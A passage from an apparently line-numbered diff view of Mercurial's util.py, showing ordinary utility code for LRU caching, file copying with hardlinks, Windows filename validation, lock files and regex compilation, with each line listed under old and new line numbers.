1684 # quadratic. So we find the first non-empty node and then
1675 # walk nodes until we free up enough capacity.
1685 # walk nodes until we free up enough capacity.
1676 #
1686 #
1677 # If we only removed the minimum number of nodes to free enough
1687 # If we only removed the minimum number of nodes to free enough
1678 # cost at insert time, chances are high that the next insert would
1688 # cost at insert time, chances are high that the next insert would
1679 # also require pruning. This would effectively constitute quadratic
1689 # also require pruning. This would effectively constitute quadratic
1680 # behavior for insert-heavy workloads. To mitigate this, we set a
1690 # behavior for insert-heavy workloads. To mitigate this, we set a
1681 # target cost that is a percentage of the max cost. This will tend
1691 # target cost that is a percentage of the max cost. This will tend
1682 # to free more nodes when the high water mark is reached, which
1692 # to free more nodes when the high water mark is reached, which
1683 # lowers the chances of needing to prune on the subsequent insert.
1693 # lowers the chances of needing to prune on the subsequent insert.
1684 targetcost = int(self.maxcost * 0.75)
1694 targetcost = int(self.maxcost * 0.75)
1685
1695
1686 n = self._head.prev
1696 n = self._head.prev
1687 while n.key is _notset:
1697 while n.key is _notset:
1688 n = n.prev
1698 n = n.prev
1689
1699
1690 while len(self) > 1 and self.totalcost > targetcost:
1700 while len(self) > 1 and self.totalcost > targetcost:
1691 del self._cache[n.key]
1701 del self._cache[n.key]
1692 self.totalcost -= n.cost
1702 self.totalcost -= n.cost
1693 n.markempty()
1703 n.markempty()
1694 n = n.prev
1704 n = n.prev
1695
1705
1696
1706
1697 def lrucachefunc(func):
1707 def lrucachefunc(func):
1698 '''cache most recent results of function calls'''
1708 '''cache most recent results of function calls'''
1699 cache = {}
1709 cache = {}
1700 order = collections.deque()
1710 order = collections.deque()
1701 if func.__code__.co_argcount == 1:
1711 if func.__code__.co_argcount == 1:
1702
1712
1703 def f(arg):
1713 def f(arg):
1704 if arg not in cache:
1714 if arg not in cache:
1705 if len(cache) > 20:
1715 if len(cache) > 20:
1706 del cache[order.popleft()]
1716 del cache[order.popleft()]
1707 cache[arg] = func(arg)
1717 cache[arg] = func(arg)
1708 else:
1718 else:
1709 order.remove(arg)
1719 order.remove(arg)
1710 order.append(arg)
1720 order.append(arg)
1711 return cache[arg]
1721 return cache[arg]
1712
1722
1713 else:
1723 else:
1714
1724
1715 def f(*args):
1725 def f(*args):
1716 if args not in cache:
1726 if args not in cache:
1717 if len(cache) > 20:
1727 if len(cache) > 20:
1718 del cache[order.popleft()]
1728 del cache[order.popleft()]
1719 cache[args] = func(*args)
1729 cache[args] = func(*args)
1720 else:
1730 else:
1721 order.remove(args)
1731 order.remove(args)
1722 order.append(args)
1732 order.append(args)
1723 return cache[args]
1733 return cache[args]
1724
1734
1725 return f
1735 return f
1726
1736
1727
1737
1728 class propertycache(object):
1738 class propertycache(object):
1729 def __init__(self, func):
1739 def __init__(self, func):
1730 self.func = func
1740 self.func = func
1731 self.name = func.__name__
1741 self.name = func.__name__
1732
1742
1733 def __get__(self, obj, type=None):
1743 def __get__(self, obj, type=None):
1734 result = self.func(obj)
1744 result = self.func(obj)
1735 self.cachevalue(obj, result)
1745 self.cachevalue(obj, result)
1736 return result
1746 return result
1737
1747
1738 def cachevalue(self, obj, value):
1748 def cachevalue(self, obj, value):
1739 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1749 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1740 obj.__dict__[self.name] = value
1750 obj.__dict__[self.name] = value
1741
1751
1742
1752
1743 def clearcachedproperty(obj, prop):
1753 def clearcachedproperty(obj, prop):
1744 '''clear a cached property value, if one has been set'''
1754 '''clear a cached property value, if one has been set'''
1745 prop = pycompat.sysstr(prop)
1755 prop = pycompat.sysstr(prop)
1746 if prop in obj.__dict__:
1756 if prop in obj.__dict__:
1747 del obj.__dict__[prop]
1757 del obj.__dict__[prop]
1748
1758
1749
1759
1750 def increasingchunks(source, min=1024, max=65536):
1760 def increasingchunks(source, min=1024, max=65536):
1751 '''return no less than min bytes per chunk while data remains,
1761 '''return no less than min bytes per chunk while data remains,
1752 doubling min after each chunk until it reaches max'''
1762 doubling min after each chunk until it reaches max'''
1753
1763
1754 def log2(x):
1764 def log2(x):
1755 if not x:
1765 if not x:
1756 return 0
1766 return 0
1757 i = 0
1767 i = 0
1758 while x:
1768 while x:
1759 x >>= 1
1769 x >>= 1
1760 i += 1
1770 i += 1
1761 return i - 1
1771 return i - 1
1762
1772
1763 buf = []
1773 buf = []
1764 blen = 0
1774 blen = 0
1765 for chunk in source:
1775 for chunk in source:
1766 buf.append(chunk)
1776 buf.append(chunk)
1767 blen += len(chunk)
1777 blen += len(chunk)
1768 if blen >= min:
1778 if blen >= min:
1769 if min < max:
1779 if min < max:
1770 min = min << 1
1780 min = min << 1
1771 nmin = 1 << log2(blen)
1781 nmin = 1 << log2(blen)
1772 if nmin > min:
1782 if nmin > min:
1773 min = nmin
1783 min = nmin
1774 if min > max:
1784 if min > max:
1775 min = max
1785 min = max
1776 yield b''.join(buf)
1786 yield b''.join(buf)
1777 blen = 0
1787 blen = 0
1778 buf = []
1788 buf = []
1779 if buf:
1789 if buf:
1780 yield b''.join(buf)
1790 yield b''.join(buf)
1781
1791
1782
1792
1783 def always(fn):
1793 def always(fn):
1784 return True
1794 return True
1785
1795
1786
1796
1787 def never(fn):
1797 def never(fn):
1788 return False
1798 return False
1789
1799
1790
1800
1791 def nogc(func):
1801 def nogc(func):
1792 """disable garbage collector
1802 """disable garbage collector
1793
1803
1794 Python's garbage collector triggers a GC each time a certain number of
1804 Python's garbage collector triggers a GC each time a certain number of
1795 container objects (the number being defined by gc.get_threshold()) are
1805 container objects (the number being defined by gc.get_threshold()) are
1796 allocated even when marked not to be tracked by the collector. Tracking has
1806 allocated even when marked not to be tracked by the collector. Tracking has
1797 no effect on when GCs are triggered, only on what objects the GC looks
1807 no effect on when GCs are triggered, only on what objects the GC looks
1798 into. As a workaround, disable GC while building complex (huge)
1808 into. As a workaround, disable GC while building complex (huge)
1799 containers.
1809 containers.
1800
1810
1801 This garbage collector issue have been fixed in 2.7. But it still affect
1811 This garbage collector issue have been fixed in 2.7. But it still affect
1802 CPython's performance.
1812 CPython's performance.
1803 """
1813 """
1804
1814
1805 def wrapper(*args, **kwargs):
1815 def wrapper(*args, **kwargs):
1806 gcenabled = gc.isenabled()
1816 gcenabled = gc.isenabled()
1807 gc.disable()
1817 gc.disable()
1808 try:
1818 try:
1809 return func(*args, **kwargs)
1819 return func(*args, **kwargs)
1810 finally:
1820 finally:
1811 if gcenabled:
1821 if gcenabled:
1812 gc.enable()
1822 gc.enable()
1813
1823
1814 return wrapper
1824 return wrapper
1815
1825
1816
1826
1817 if pycompat.ispypy:
1827 if pycompat.ispypy:
1818 # PyPy runs slower with gc disabled
1828 # PyPy runs slower with gc disabled
1819 nogc = lambda x: x
1829 nogc = lambda x: x
1820
1830
1821
1831
1822 def pathto(root, n1, n2):
1832 def pathto(root, n1, n2):
1823 '''return the relative path from one place to another.
1833 '''return the relative path from one place to another.
1824 root should use os.sep to separate directories
1834 root should use os.sep to separate directories
1825 n1 should use os.sep to separate directories
1835 n1 should use os.sep to separate directories
1826 n2 should use "/" to separate directories
1836 n2 should use "/" to separate directories
1827 returns an os.sep-separated path.
1837 returns an os.sep-separated path.
1828
1838
1829 If n1 is a relative path, it's assumed it's
1839 If n1 is a relative path, it's assumed it's
1830 relative to root.
1840 relative to root.
1831 n2 should always be relative to root.
1841 n2 should always be relative to root.
1832 '''
1842 '''
1833 if not n1:
1843 if not n1:
1834 return localpath(n2)
1844 return localpath(n2)
1835 if os.path.isabs(n1):
1845 if os.path.isabs(n1):
1836 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1846 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1837 return os.path.join(root, localpath(n2))
1847 return os.path.join(root, localpath(n2))
1838 n2 = b'/'.join((pconvert(root), n2))
1848 n2 = b'/'.join((pconvert(root), n2))
1839 a, b = splitpath(n1), n2.split(b'/')
1849 a, b = splitpath(n1), n2.split(b'/')
1840 a.reverse()
1850 a.reverse()
1841 b.reverse()
1851 b.reverse()
1842 while a and b and a[-1] == b[-1]:
1852 while a and b and a[-1] == b[-1]:
1843 a.pop()
1853 a.pop()
1844 b.pop()
1854 b.pop()
1845 b.reverse()
1855 b.reverse()
1846 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1856 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1847
1857
1848
1858
1849 def checksignature(func, depth=1):
1859 def checksignature(func, depth=1):
1850 '''wrap a function with code to check for calling errors'''
1860 '''wrap a function with code to check for calling errors'''
1851
1861
1852 def check(*args, **kwargs):
1862 def check(*args, **kwargs):
1853 try:
1863 try:
1854 return func(*args, **kwargs)
1864 return func(*args, **kwargs)
1855 except TypeError:
1865 except TypeError:
1856 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1866 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1857 raise error.SignatureError
1867 raise error.SignatureError
1858 raise
1868 raise
1859
1869
1860 return check
1870 return check
1861
1871
1862
1872
1863 # a whilelist of known filesystems where hardlink works reliably
1873 # a whilelist of known filesystems where hardlink works reliably
1864 _hardlinkfswhitelist = {
1874 _hardlinkfswhitelist = {
1865 b'apfs',
1875 b'apfs',
1866 b'btrfs',
1876 b'btrfs',
1867 b'ext2',
1877 b'ext2',
1868 b'ext3',
1878 b'ext3',
1869 b'ext4',
1879 b'ext4',
1870 b'hfs',
1880 b'hfs',
1871 b'jfs',
1881 b'jfs',
1872 b'NTFS',
1882 b'NTFS',
1873 b'reiserfs',
1883 b'reiserfs',
1874 b'tmpfs',
1884 b'tmpfs',
1875 b'ufs',
1885 b'ufs',
1876 b'xfs',
1886 b'xfs',
1877 b'zfs',
1887 b'zfs',
1878 }
1888 }
1879
1889
1880
1890
1881 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1891 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1882 '''copy a file, preserving mode and optionally other stat info like
1892 '''copy a file, preserving mode and optionally other stat info like
1883 atime/mtime
1893 atime/mtime
1884
1894
1885 checkambig argument is used with filestat, and is useful only if
1895 checkambig argument is used with filestat, and is useful only if
1886 destination file is guarded by any lock (e.g. repo.lock or
1896 destination file is guarded by any lock (e.g. repo.lock or
1887 repo.wlock).
1897 repo.wlock).
1888
1898
1889 copystat and checkambig should be exclusive.
1899 copystat and checkambig should be exclusive.
1890 '''
1900 '''
1891 assert not (copystat and checkambig)
1901 assert not (copystat and checkambig)
1892 oldstat = None
1902 oldstat = None
1893 if os.path.lexists(dest):
1903 if os.path.lexists(dest):
1894 if checkambig:
1904 if checkambig:
1895 oldstat = checkambig and filestat.frompath(dest)
1905 oldstat = checkambig and filestat.frompath(dest)
1896 unlink(dest)
1906 unlink(dest)
1897 if hardlink:
1907 if hardlink:
1898 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1908 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1899 # unless we are confident that dest is on a whitelisted filesystem.
1909 # unless we are confident that dest is on a whitelisted filesystem.
1900 try:
1910 try:
1901 fstype = getfstype(os.path.dirname(dest))
1911 fstype = getfstype(os.path.dirname(dest))
1902 except OSError:
1912 except OSError:
1903 fstype = None
1913 fstype = None
1904 if fstype not in _hardlinkfswhitelist:
1914 if fstype not in _hardlinkfswhitelist:
1905 hardlink = False
1915 hardlink = False
1906 if hardlink:
1916 if hardlink:
1907 try:
1917 try:
1908 oslink(src, dest)
1918 oslink(src, dest)
1909 return
1919 return
1910 except (IOError, OSError):
1920 except (IOError, OSError):
1911 pass # fall back to normal copy
1921 pass # fall back to normal copy
1912 if os.path.islink(src):
1922 if os.path.islink(src):
1913 os.symlink(os.readlink(src), dest)
1923 os.symlink(os.readlink(src), dest)
1914 # copytime is ignored for symlinks, but in general copytime isn't needed
1924 # copytime is ignored for symlinks, but in general copytime isn't needed
1915 # for them anyway
1925 # for them anyway
1916 else:
1926 else:
1917 try:
1927 try:
1918 shutil.copyfile(src, dest)
1928 shutil.copyfile(src, dest)
1919 if copystat:
1929 if copystat:
1920 # copystat also copies mode
1930 # copystat also copies mode
1921 shutil.copystat(src, dest)
1931 shutil.copystat(src, dest)
1922 else:
1932 else:
1923 shutil.copymode(src, dest)
1933 shutil.copymode(src, dest)
1924 if oldstat and oldstat.stat:
1934 if oldstat and oldstat.stat:
1925 newstat = filestat.frompath(dest)
1935 newstat = filestat.frompath(dest)
1926 if newstat.isambig(oldstat):
1936 if newstat.isambig(oldstat):
1927 # stat of copied file is ambiguous to original one
1937 # stat of copied file is ambiguous to original one
1928 advanced = (
1938 advanced = (
1929 oldstat.stat[stat.ST_MTIME] + 1
1939 oldstat.stat[stat.ST_MTIME] + 1
1930 ) & 0x7FFFFFFF
1940 ) & 0x7FFFFFFF
1931 os.utime(dest, (advanced, advanced))
1941 os.utime(dest, (advanced, advanced))
1932 except shutil.Error as inst:
1942 except shutil.Error as inst:
1933 raise error.Abort(stringutil.forcebytestr(inst))
1943 raise error.Abort(stringutil.forcebytestr(inst))
1934
1944
1935
1945
1936 def copyfiles(src, dst, hardlink=None, progress=None):
1946 def copyfiles(src, dst, hardlink=None, progress=None):
1937 """Copy a directory tree using hardlinks if possible."""
1947 """Copy a directory tree using hardlinks if possible."""
1938 num = 0
1948 num = 0
1939
1949
1940 def settopic():
1950 def settopic():
1941 if progress:
1951 if progress:
1942 progress.topic = _(b'linking') if hardlink else _(b'copying')
1952 progress.topic = _(b'linking') if hardlink else _(b'copying')
1943
1953
1944 if os.path.isdir(src):
1954 if os.path.isdir(src):
1945 if hardlink is None:
1955 if hardlink is None:
1946 hardlink = (
1956 hardlink = (
1947 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1957 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1948 )
1958 )
1949 settopic()
1959 settopic()
1950 os.mkdir(dst)
1960 os.mkdir(dst)
1951 for name, kind in listdir(src):
1961 for name, kind in listdir(src):
1952 srcname = os.path.join(src, name)
1962 srcname = os.path.join(src, name)
1953 dstname = os.path.join(dst, name)
1963 dstname = os.path.join(dst, name)
1954 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1964 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1955 num += n
1965 num += n
1956 else:
1966 else:
1957 if hardlink is None:
1967 if hardlink is None:
1958 hardlink = (
1968 hardlink = (
1959 os.stat(os.path.dirname(src)).st_dev
1969 os.stat(os.path.dirname(src)).st_dev
1960 == os.stat(os.path.dirname(dst)).st_dev
1970 == os.stat(os.path.dirname(dst)).st_dev
1961 )
1971 )
1962 settopic()
1972 settopic()
1963
1973
1964 if hardlink:
1974 if hardlink:
1965 try:
1975 try:
1966 oslink(src, dst)
1976 oslink(src, dst)
1967 except (IOError, OSError):
1977 except (IOError, OSError):
1968 hardlink = False
1978 hardlink = False
1969 shutil.copy(src, dst)
1979 shutil.copy(src, dst)
1970 else:
1980 else:
1971 shutil.copy(src, dst)
1981 shutil.copy(src, dst)
1972 num += 1
1982 num += 1
1973 if progress:
1983 if progress:
1974 progress.increment()
1984 progress.increment()
1975
1985
1976 return hardlink, num
1986 return hardlink, num
1977
1987
1978
1988
1979 _winreservednames = {
1989 _winreservednames = {
1980 b'con',
1990 b'con',
1981 b'prn',
1991 b'prn',
1982 b'aux',
1992 b'aux',
1983 b'nul',
1993 b'nul',
1984 b'com1',
1994 b'com1',
1985 b'com2',
1995 b'com2',
1986 b'com3',
1996 b'com3',
1987 b'com4',
1997 b'com4',
1988 b'com5',
1998 b'com5',
1989 b'com6',
1999 b'com6',
1990 b'com7',
2000 b'com7',
1991 b'com8',
2001 b'com8',
1992 b'com9',
2002 b'com9',
1993 b'lpt1',
2003 b'lpt1',
1994 b'lpt2',
2004 b'lpt2',
1995 b'lpt3',
2005 b'lpt3',
1996 b'lpt4',
2006 b'lpt4',
1997 b'lpt5',
2007 b'lpt5',
1998 b'lpt6',
2008 b'lpt6',
1999 b'lpt7',
2009 b'lpt7',
2000 b'lpt8',
2010 b'lpt8',
2001 b'lpt9',
2011 b'lpt9',
2002 }
2012 }
2003 _winreservedchars = b':*?"<>|'
2013 _winreservedchars = b':*?"<>|'
2004
2014
2005
2015
2006 def checkwinfilename(path):
2016 def checkwinfilename(path):
2007 r'''Check that the base-relative path is a valid filename on Windows.
2017 r'''Check that the base-relative path is a valid filename on Windows.
2008 Returns None if the path is ok, or a UI string describing the problem.
2018 Returns None if the path is ok, or a UI string describing the problem.
2009
2019
2010 >>> checkwinfilename(b"just/a/normal/path")
2020 >>> checkwinfilename(b"just/a/normal/path")
2011 >>> checkwinfilename(b"foo/bar/con.xml")
2021 >>> checkwinfilename(b"foo/bar/con.xml")
2012 "filename contains 'con', which is reserved on Windows"
2022 "filename contains 'con', which is reserved on Windows"
2013 >>> checkwinfilename(b"foo/con.xml/bar")
2023 >>> checkwinfilename(b"foo/con.xml/bar")
2014 "filename contains 'con', which is reserved on Windows"
2024 "filename contains 'con', which is reserved on Windows"
2015 >>> checkwinfilename(b"foo/bar/xml.con")
2025 >>> checkwinfilename(b"foo/bar/xml.con")
2016 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2026 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2017 "filename contains 'AUX', which is reserved on Windows"
2027 "filename contains 'AUX', which is reserved on Windows"
2018 >>> checkwinfilename(b"foo/bar/bla:.txt")
2028 >>> checkwinfilename(b"foo/bar/bla:.txt")
2019 "filename contains ':', which is reserved on Windows"
2029 "filename contains ':', which is reserved on Windows"
2020 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2030 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2021 "filename contains '\\x07', which is invalid on Windows"
2031 "filename contains '\\x07', which is invalid on Windows"
2022 >>> checkwinfilename(b"foo/bar/bla ")
2032 >>> checkwinfilename(b"foo/bar/bla ")
2023 "filename ends with ' ', which is not allowed on Windows"
2033 "filename ends with ' ', which is not allowed on Windows"
2024 >>> checkwinfilename(b"../bar")
2034 >>> checkwinfilename(b"../bar")
2025 >>> checkwinfilename(b"foo\\")
2035 >>> checkwinfilename(b"foo\\")
2026 "filename ends with '\\', which is invalid on Windows"
2036 "filename ends with '\\', which is invalid on Windows"
2027 >>> checkwinfilename(b"foo\\/bar")
2037 >>> checkwinfilename(b"foo\\/bar")
2028 "directory name ends with '\\', which is invalid on Windows"
2038 "directory name ends with '\\', which is invalid on Windows"
2029 '''
2039 '''
2030 if path.endswith(b'\\'):
2040 if path.endswith(b'\\'):
2031 return _(b"filename ends with '\\', which is invalid on Windows")
2041 return _(b"filename ends with '\\', which is invalid on Windows")
2032 if b'\\/' in path:
2042 if b'\\/' in path:
2033 return _(b"directory name ends with '\\', which is invalid on Windows")
2043 return _(b"directory name ends with '\\', which is invalid on Windows")
2034 for n in path.replace(b'\\', b'/').split(b'/'):
2044 for n in path.replace(b'\\', b'/').split(b'/'):
2035 if not n:
2045 if not n:
2036 continue
2046 continue
2037 for c in _filenamebytestr(n):
2047 for c in _filenamebytestr(n):
2038 if c in _winreservedchars:
2048 if c in _winreservedchars:
2039 return (
2049 return (
2040 _(
2050 _(
2041 b"filename contains '%s', which is reserved "
2051 b"filename contains '%s', which is reserved "
2042 b"on Windows"
2052 b"on Windows"
2043 )
2053 )
2044 % c
2054 % c
2045 )
2055 )
2046 if ord(c) <= 31:
2056 if ord(c) <= 31:
2047 return _(
2057 return _(
2048 b"filename contains '%s', which is invalid on Windows"
2058 b"filename contains '%s', which is invalid on Windows"
2049 ) % stringutil.escapestr(c)
2059 ) % stringutil.escapestr(c)
2050 base = n.split(b'.')[0]
2060 base = n.split(b'.')[0]
2051 if base and base.lower() in _winreservednames:
2061 if base and base.lower() in _winreservednames:
2052 return (
2062 return (
2053 _(b"filename contains '%s', which is reserved on Windows")
2063 _(b"filename contains '%s', which is reserved on Windows")
2054 % base
2064 % base
2055 )
2065 )
2056 t = n[-1:]
2066 t = n[-1:]
2057 if t in b'. ' and n not in b'..':
2067 if t in b'. ' and n not in b'..':
2058 return (
2068 return (
2059 _(
2069 _(
2060 b"filename ends with '%s', which is not allowed "
2070 b"filename ends with '%s', which is not allowed "
2061 b"on Windows"
2071 b"on Windows"
2062 )
2072 )
2063 % t
2073 % t
2064 )
2074 )
2065
2075
2066
2076
2067 timer = getattr(time, "perf_counter", None)
2077 timer = getattr(time, "perf_counter", None)
2068
2078
2069 if pycompat.iswindows:
2079 if pycompat.iswindows:
2070 checkosfilename = checkwinfilename
2080 checkosfilename = checkwinfilename
2071 if not timer:
2081 if not timer:
2072 timer = time.clock
2082 timer = time.clock
2073 else:
2083 else:
2074 # mercurial.windows doesn't have platform.checkosfilename
2084 # mercurial.windows doesn't have platform.checkosfilename
2075 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2085 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2076 if not timer:
2086 if not timer:
2077 timer = time.time
2087 timer = time.time
2078
2088
2079
2089
2080 def makelock(info, pathname):
2090 def makelock(info, pathname):
2081 """Create a lock file atomically if possible
2091 """Create a lock file atomically if possible
2082
2092
2083 This may leave a stale lock file if symlink isn't supported and signal
2093 This may leave a stale lock file if symlink isn't supported and signal
2084 interrupt is enabled.
2094 interrupt is enabled.
2085 """
2095 """
2086 try:
2096 try:
2087 return os.symlink(info, pathname)
2097 return os.symlink(info, pathname)
2088 except OSError as why:
2098 except OSError as why:
2089 if why.errno == errno.EEXIST:
2099 if why.errno == errno.EEXIST:
2090 raise
2100 raise
2091 except AttributeError: # no symlink in os
2101 except AttributeError: # no symlink in os
2092 pass
2102 pass
2093
2103
2094 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2104 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2095 ld = os.open(pathname, flags)
2105 ld = os.open(pathname, flags)
2096 os.write(ld, info)
2106 os.write(ld, info)
2097 os.close(ld)
2107 os.close(ld)
2098
2108
2099
2109
2100 def readlock(pathname):
2110 def readlock(pathname):
2101 try:
2111 try:
2102 return readlink(pathname)
2112 return readlink(pathname)
2103 except OSError as why:
2113 except OSError as why:
2104 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2114 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2105 raise
2115 raise
2106 except AttributeError: # no symlink in os
2116 except AttributeError: # no symlink in os
2107 pass
2117 pass
2108 with posixfile(pathname, b'rb') as fp:
2118 with posixfile(pathname, b'rb') as fp:
2109 return fp.read()
2119 return fp.read()
2110
2120
2111
2121
2112 def fstat(fp):
2122 def fstat(fp):
2113 '''stat file object that may not have fileno method.'''
2123 '''stat file object that may not have fileno method.'''
2114 try:
2124 try:
2115 return os.fstat(fp.fileno())
2125 return os.fstat(fp.fileno())
2116 except AttributeError:
2126 except AttributeError:
2117 return os.stat(fp.name)
2127 return os.stat(fp.name)
2118
2128
2119
2129
2120 # File system features
2130 # File system features
2121
2131
2122
2132
2123 def fscasesensitive(path):
2133 def fscasesensitive(path):
2124 """
2134 """
2125 Return true if the given path is on a case-sensitive filesystem
2135 Return true if the given path is on a case-sensitive filesystem
2126
2136
2127 Requires a path (like /foo/.hg) ending with a foldable final
2137 Requires a path (like /foo/.hg) ending with a foldable final
2128 directory component.
2138 directory component.
2129 """
2139 """
2130 s1 = os.lstat(path)
2140 s1 = os.lstat(path)
2131 d, b = os.path.split(path)
2141 d, b = os.path.split(path)
2132 b2 = b.upper()
2142 b2 = b.upper()
2133 if b == b2:
2143 if b == b2:
2134 b2 = b.lower()
2144 b2 = b.lower()
2135 if b == b2:
2145 if b == b2:
2136 return True # no evidence against case sensitivity
2146 return True # no evidence against case sensitivity
2137 p2 = os.path.join(d, b2)
2147 p2 = os.path.join(d, b2)
2138 try:
2148 try:
2139 s2 = os.lstat(p2)
2149 s2 = os.lstat(p2)
2140 if s2 == s1:
2150 if s2 == s1:
2141 return False
2151 return False
2142 return True
2152 return True
2143 except OSError:
2153 except OSError:
2144 return True
2154 return True
2145
2155
2146
2156
2147 try:
2157 try:
2148 import re2 # pytype: disable=import-error
2158 import re2 # pytype: disable=import-error
2149
2159
2150 _re2 = None
2160 _re2 = None
2151 except ImportError:
2161 except ImportError:
2152 _re2 = False
2162 _re2 = False
2153
2163
2154
2164
2155 class _re(object):
2165 class _re(object):
2156 def _checkre2(self):
2166 def _checkre2(self):
2157 global _re2
2167 global _re2
2158 try:
2168 try:
2159 # check if match works, see issue3964
2169 # check if match works, see issue3964
2160 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2170 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2161 except ImportError:
2171 except ImportError:
2162 _re2 = False
2172 _re2 = False
2163
2173
2164 def compile(self, pat, flags=0):
2174 def compile(self, pat, flags=0):
2165 '''Compile a regular expression, using re2 if possible
2175 '''Compile a regular expression, using re2 if possible
2166
2176
2167 For best performance, use only re2-compatible regexp features. The
2177 For best performance, use only re2-compatible regexp features. The
2168 only flags from the re module that are re2-compatible are
2178 only flags from the re module that are re2-compatible are
2169 IGNORECASE and MULTILINE.'''
2179 IGNORECASE and MULTILINE.'''
2170 if _re2 is None:
2180 if _re2 is None:
2171 self._checkre2()
2181 self._checkre2()
2172 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2182 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2173 if flags & remod.IGNORECASE:
2183 if flags & remod.IGNORECASE:
2174 pat = b'(?i)' + pat
2184 pat = b'(?i)' + pat
2175 if flags & remod.MULTILINE:
2185 if flags & remod.MULTILINE:
2176 pat = b'(?m)' + pat
2186 pat = b'(?m)' + pat
2177 try:
2187 try:
2178 return re2.compile(pat)
2188 return re2.compile(pat)
2179 except re2.error:
2189 except re2.error:
2180 pass
2190 pass
2181 return remod.compile(pat, flags)
2191 return remod.compile(pat, flags)
2182
2192
2183 @propertycache
2193 @propertycache
2184 def escape(self):
2194 def escape(self):
2185 '''Return the version of escape corresponding to self.compile.
2195 '''Return the version of escape corresponding to self.compile.
2186
2196
2187 This is imperfect because whether re2 or re is used for a particular
2197 This is imperfect because whether re2 or re is used for a particular
2188 function depends on the flags, etc, but it's the best we can do.
2198 function depends on the flags, etc, but it's the best we can do.
2189 '''
2199 '''
2190 global _re2
2200 global _re2
2191 if _re2 is None:
2201 if _re2 is None:
2192 self._checkre2()
2202 self._checkre2()
2193 if _re2:
2203 if _re2:
2194 return re2.escape
2204 return re2.escape
2195 else:
2205 else:
2196 return remod.escape
2206 return remod.escape
2197
2207
2198
2208
2199 re = _re()
2209 re = _re()
2200
2210
2201 _fspathcache = {}
2211 _fspathcache = {}
2202
2212
2203
2213
2204 def fspath(name, root):
2214 def fspath(name, root):
2205 '''Get name in the case stored in the filesystem
2215 '''Get name in the case stored in the filesystem
2206
2216
2207 The name should be relative to root, and be normcase-ed for efficiency.
2217 The name should be relative to root, and be normcase-ed for efficiency.
2208
2218
2209 Note that this function is unnecessary, and should not be
2219 Note that this function is unnecessary, and should not be
2210 called, for case-sensitive filesystems (simply because it's expensive).
2220 called, for case-sensitive filesystems (simply because it's expensive).
2211
2221
2212 The root should be normcase-ed, too.
2222 The root should be normcase-ed, too.
2213 '''
2223 '''
2214
2224
2215 def _makefspathcacheentry(dir):
2225 def _makefspathcacheentry(dir):
2216 return {normcase(n): n for n in os.listdir(dir)}
2226 return {normcase(n): n for n in os.listdir(dir)}
2217
2227
2218 seps = pycompat.ossep
2228 seps = pycompat.ossep
2219 if pycompat.osaltsep:
2229 if pycompat.osaltsep:
2220 seps = seps + pycompat.osaltsep
2230 seps = seps + pycompat.osaltsep
2221 # Protect backslashes. This gets silly very quickly.
2231 # Protect backslashes. This gets silly very quickly.
2222 seps.replace(b'\\', b'\\\\')
2232 seps.replace(b'\\', b'\\\\')
2223 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2233 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2224 dir = os.path.normpath(root)
2234 dir = os.path.normpath(root)
2225 result = []
2235 result = []
2226 for part, sep in pattern.findall(name):
2236 for part, sep in pattern.findall(name):
2227 if sep:
2237 if sep:
2228 result.append(sep)
2238 result.append(sep)
2229 continue
2239 continue
2230
2240
2231 if dir not in _fspathcache:
2241 if dir not in _fspathcache:
2232 _fspathcache[dir] = _makefspathcacheentry(dir)
2242 _fspathcache[dir] = _makefspathcacheentry(dir)
2233 contents = _fspathcache[dir]
2243 contents = _fspathcache[dir]
2234
2244
2235 found = contents.get(part)
2245 found = contents.get(part)
2236 if not found:
2246 if not found:
2237 # retry "once per directory" per "dirstate.walk" which
2247 # retry "once per directory" per "dirstate.walk" which
2238 # may take place for each patches of "hg qpush", for example
2248 # may take place for each patches of "hg qpush", for example
2239 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2249 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2240 found = contents.get(part)
2250 found = contents.get(part)
2241
2251
2242 result.append(found or part)
2252 result.append(found or part)
2243 dir = os.path.join(dir, part)
2253 dir = os.path.join(dir, part)
2244
2254
2245 return b''.join(result)
2255 return b''.join(result)
2246
2256
2247
2257
2248 def checknlink(testfile):
2258 def checknlink(testfile):
2249 '''check whether hardlink count reporting works properly'''
2259 '''check whether hardlink count reporting works properly'''
2250
2260
2251 # testfile may be open, so we need a separate file for checking to
2261 # testfile may be open, so we need a separate file for checking to
2252 # work around issue2543 (or testfile may get lost on Samba shares)
2262 # work around issue2543 (or testfile may get lost on Samba shares)
2253 f1, f2, fp = None, None, None
2263 f1, f2, fp = None, None, None
2254 try:
2264 try:
